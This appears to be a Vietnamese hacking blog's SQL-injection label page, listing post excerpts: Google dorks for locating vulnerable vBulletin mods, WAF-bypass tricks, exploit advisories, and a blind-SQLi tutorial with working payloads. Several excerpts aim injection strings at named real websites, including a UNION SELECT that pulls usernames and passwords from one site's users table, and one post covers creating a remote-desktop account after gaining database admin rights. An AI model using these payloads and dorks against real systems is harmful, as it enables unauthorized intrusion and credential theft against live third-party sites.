WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting
Software: WP e-Commerce
Software Language: PHP
Version: 3.8.9 and below
Vendor Status: Vendor contacted
Release Date: 2012-11-12
Risk: High
Hiển thị các bài đăng có nhãn SQL Injection. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn SQL Injection. Hiển thị tất cả bài đăng
Chủ Nhật, 1 tháng 12, 2013
Lý do tại sao bạn sử dụng WAF queries bypassing?
Đọc Thêm
Chuyên Mục:
SQL Injection,
TUTORIALS
Thứ Hai, 26 tháng 8, 2013
exploit vBulletin với Awards System 4.0.2+ SQL Injection
dork thì sáng tạo ra nha
Ở đây mình dùng dork này nè : inurl:request_award.php Powered by vBulletin® Version 4.0.2
Đọc Thêm
Chuyên Mục:
SQL Injection,
TUTORIALS,
vBulletin
Khai Thác Vbulletin [sql trên shoutbox]
dork khai thác :inurl:infernoshout.php
Đọc Thêm
Chuyên Mục:
SQL Injection,
TUTORIALS,
vBulletin
Thứ Bảy, 24 tháng 8, 2013
Tổng hợp các cách bypass SQLi kinh điển
Chào các bạn. Như các bạn đã biết, Khi khai thác SQLi chắc rất nhiều lúc các bạn gặp phải trường hợp tìm thấy site bị SQli rõ ràng, nhưng dùng lệnh order by hay Union select thì không được,
Đọc Thêm
Chuyên Mục:
SQL Injection
Thứ Bảy, 17 tháng 8, 2013
Dork "Viet Arrow" - Sqli cho newbie
Tất cả các website được thiết kế bởi Viet Arrow đều dính lỗi sqli,
Dành cho newbie tập quấy...
Đọc Thêm
Chuyên Mục:
SQL Injection
Thứ Hai, 5 tháng 8, 2013
113 Bypassing WAF Filters in SQLi - Ens
Leech bên 4rum nước ngoài. thấy hay hay nên share ae
Đọc Thêm
Chuyên Mục:
SQL Injection
Thứ Sáu, 19 tháng 4, 2013
Bug SHOP Guny Cương Hóa Guny
# Exploit Title: SHOP Guny Cương Hóa Guny #
# Google Dork: n/a #
Đọc Thêm
(Final 2.1) Hệ thống RPG PET
# Exploit Title: (Final 2.1) Hệ thống RPG PET #
# Google Dork: n/a #
# Date: 15/4/13 #
# Exploit Author: VnDragon - VHB #
# Code Mod: http://www.vietvbb.vn/up/showthread.php?t=40921 #
# Version: [2.1] #
# Thank concobe #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## ## #
Exploit: http://victim.com/rpg.php?do=battle&type=monster&id=-1' [SQL]
File: battle.php, Line: 11 and more fille.
Code:
PHP Code:
$idmon = $_GET['id'];
Find
PHP Code:
$idmon = $_GET['id'];
PHP Code:
$idmon = addslashes($_GET['id']);
Demo: http://nguyenmy.net/forum/rpg.php?do...=monster&id=-1' Đọc Thêm
Chuyên Mục:
Hacking and Security,
SQL Injection,
TUTORIALS,
vBulletin
Fun Shop mod Vbulletin SQL injection
Như đã hứa thì hôm nay mình sẽ cung cấp một cái bug của 1 mod cũng khá nhiều forum đang sử dụng bị dính lỗi SQL injection và có thể bị khai thác và chiếm quyền, dưới đây là thông tin lỗi:
Đọc Thêm
Joomla RSfiles Component (cid param) - SQL Injection Vulnerability
Đọc Thêm
Thứ Năm, 18 tháng 4, 2013
Thứ Hai, 18 tháng 3, 2013
[TUT] Khai thác Sqli - Magic Convertt Aspx
Đọc Thêm
Chuyên Mục:
Hacking and Security,
SQL Injection,
TUTORIALS
Thứ Hai, 4 tháng 2, 2013
Một số cách Bypass SQL injection
Một số trick mình hay dùng khi khai thác.Thường thì chỉ chặn select tuy nhiên có 1 vài trường hợp chặn luôn cả khoảng trắng ở url khi đấy thay các ký tự như /**/ + %252f%252a*/ .... muốn tìm thêm thì nhìn vào setting của havij có mấy cái đấy. Nhưng đấy là số ít, giờ ta vào phần chính:
Đọc Thêm
Thứ Bảy, 1 tháng 12, 2012
6 Random Injections
1/
Mã:
http://www.elansystems.co.za/product-item.php?product_items_id=-11 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,group_concat(username,0x3b,password),5,6,7,8,9,10 from users_tbl--
Đọc Thêm
Chuyên Mục:
SQL Injection
[TUT] SQL dạng HTML
Link Download
http://www.mediafire.com/?6hh2ykae8xpuq2q
Hoặc
https://www.box.com/s/3m0xluf10xdhcdw95qzu
kakavn
Đọc Thêm
WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting
Top Site trong nước dính SQL Check 23/11/2012
một vài site trong nước vẫn còn dính lỗi SQL khá nhiều, trong đó tiêu biểu là có cả ĐHQG Việt Nam ( Viet Nam University)
Chuyên Mục:
Hacking and Security,
SQL Injection
Chủ Nhật, 18 tháng 11, 2012
Cách tạo user để remote desktop khi có quyền Sa
Đầu tiên thì ta cần phải có đc victim
http://www.domain.com/product_category.asp?categoryL1=106'
Đọc Thêm
Thứ Hai, 5 tháng 11, 2012
Tối ưu Blind SQL Injection - Phần 2
Hi All,
Mình mạn phép share bài viết tiếp theo của Luật về chủ đề Tối Ưu Blind SQL Injection.
---------------------------------------------------------------------------------------------
Okie, tiếp tục bài viết "Tối ưu hóa Blind SQL Injection" cách đây vài hôm của mình . Có hứa là "ngày mai" ...nhưng các bạn thông cảm. Ăn tất niên quên cả giờ giấc.
Thôi vào thẳng vấn đề. Cách tối ưu của mình thì cũng không có gì đặc sắc lắm, cứ xem nó là 1 gợi ý cho các bạn để tìm cách tấn công tối ưu nhất vậy.
.................
I. Sleep cùng 1 lúc...tên hay phết.
Thay vì như cách sleep luôn giá trị find_in_set trả về thì có thể sleep rất lâu, cũng có thể sleep rất lẹ và 1 số nhược điểm mà mình nói trong bài lần trước, thì mình có cách khắc phục đó là:
Tức là thay vì sleep 39 giây. thì chúng ta sẽ tách ra là 3 và 9 để sleep. Với cách này có thể khắc phục các trường hợp find_in_set quá lớn và quá nhỏ, ngoài ra cũng có thể code ra tool để chạy song song 2 query này. Thế là nội trong ít nhất 9 giây ta có thể biết luôn cả char cần tìm thay vì là 39 giây .
II. Tùy chọn giá trị trả về
Đây là cách mình nói ở cuối bài lần trước, tuy rằng cách này thiên về tốc độ, không như cách sleep của anh gamma là tối ưu về số lượng query và câu cú query đơn giản.
VD: Ta có 1 trang news (ex: http://gov.ca.gov/news.php?id=17267). Như các bạn biết, các table chứa các nội dung của những bản tin tức sẽ được tạo theo cấu trúc (minh họa đơn giản nhất, thực tế thì sẽ có thêm vài columns nữa)
Tức là với mỗi ID khác thì Content cũng sẽ khác, với mỗi id khác thì bản tin được trang web in ra cũng sẽ khác. vậy lợi dụng vào việc này ta có thể tùy chọn giá trị id trả về sau mỗi query rồi dùng một ngôn ngữ nào đó ta regex (regular expression) để so sánh.
Để cụ thể hơn mình có 1 source ở localhost. giả dụ đây là 1 trang tin tức. Click vào để xem hình chi tiết hơn.
như các bạn thấy ở mỗi id khác thì nội dung cũng sẽ khác.
Vấn đề ở đây là nếu Blind SQLI như bình thường thì ta chỉ quan tâm TRUE or FALSE, rồi xem những nội dung mà chỉ khi TRUE mới hiện ra có được trang web in ra hay không. Nhưng ta cũng có thể tùy chọn giá trị id trả về. Ví dụ ta khai thác trang localhost bằng query này:
[font=courier new,courier,monospace]content.php?id=if(substring(@@version,1,1)=5,1,2)[/font]
Tức là nếu kí tự đầu tiên của version SQL là 5 thì id sẽ là 1 , nếu không phải id sẽ là 2. Rồi dựa vào nội dung đặc trưng và khác nhau giữa 2 bản tin ấy ta có thể biết kí tự đầu tiên của version có phải là 5 hay không. Vậy với câu query như thế này thì sao ?
if((@a:=mid(INSTR(0x6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738395f21402324255e262a28292d2b3d5c2e225c277e605c5c7c7b7d5b5d3a3b20,mid(@@version,1,1)),1,1))!='',if(@a=0,10,if(@a=1,1,if(@a=2,2,if(@a=3,3,if(@a=4,4,if(@a=5,5,if(@a=6,6,if(@a=7,7,if(@a=8,8,if(@a=9,9,0)))))))))),0)
Câu query này đang tách giá trị find_in_set ra làm 2 rồi tìm, giống như cách 1 ở trên. Nhờ vào nội dung ta có thể biết đang là id mấy, từ id ta có thể truy ra con số đầu tiên mà find_in_set trả về là bao nhiêu chỉ trong vòng 1 query ? vậy tối đa ta chỉ dùng 2 query là đã ra 1 kí tự.Done.
?id=0 , SQL nó không trả về kết quả vì nó hiểu giống như là NULL ở kiểu định dạng string,thì đây là NULL ở dạng int...thì phải. Cái này không rõ lắm .
Vậy các điều kiện để thực hiện cách khai thác này chỉ là có đủ 10 nội dung ở 10 id khác nhau , ở đây là 10 bản tin khác nhau để có thể so sánh qua lại tìm ra giá trị cần tìm . Mọi chi tiết, thắc mắc về bài viết này xin gửi mail cho mình ở bên dưới. Peace!
manhluat93
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
Thanks,
Thong Ngo.
Đọc Thêm
Chuyên Mục:
SQL Injection
Đăng ký:
Bài đăng (Atom)
